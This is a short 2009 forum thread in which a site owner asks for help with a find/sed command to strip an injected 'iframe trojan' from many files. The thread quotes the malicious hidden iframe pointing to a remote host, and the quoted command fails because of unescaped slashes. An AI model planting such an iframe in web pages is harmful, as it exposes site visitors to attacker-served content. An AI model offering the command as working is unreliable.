LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Programming (https://www.linuxquestions.org/questions/programming-9/)
-   -   ifram removing (https://www.linuxquestions.org/questions/programming-9/ifram-removing-750195/)

aliahsan81 08-25-2009 03:33 PM

ifram removing
 
Hi i have iframe trojan in many files i have created a find and sed command i am not expert in sed its not working as i desire can any one help me out.

Code:

find . -name '*.*' -exec sed -i 's/<iframe src="http://3cl.ru:8080/index.php" width=103 height=143 style="visibility: hidden"></iframe>//g' {} \;

Facing this error

Code:


sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'
sed: -e expression #1, char 24: unknown option to `s'


unSpawn 08-25-2009 04:17 PM

Something like this: http://www.linuxquestions.org/questi...39#post3650639 ?

aliahsan81 08-26-2009 05:48 AM

thanks


All times are GMT -5. The time now is 07:02 PM.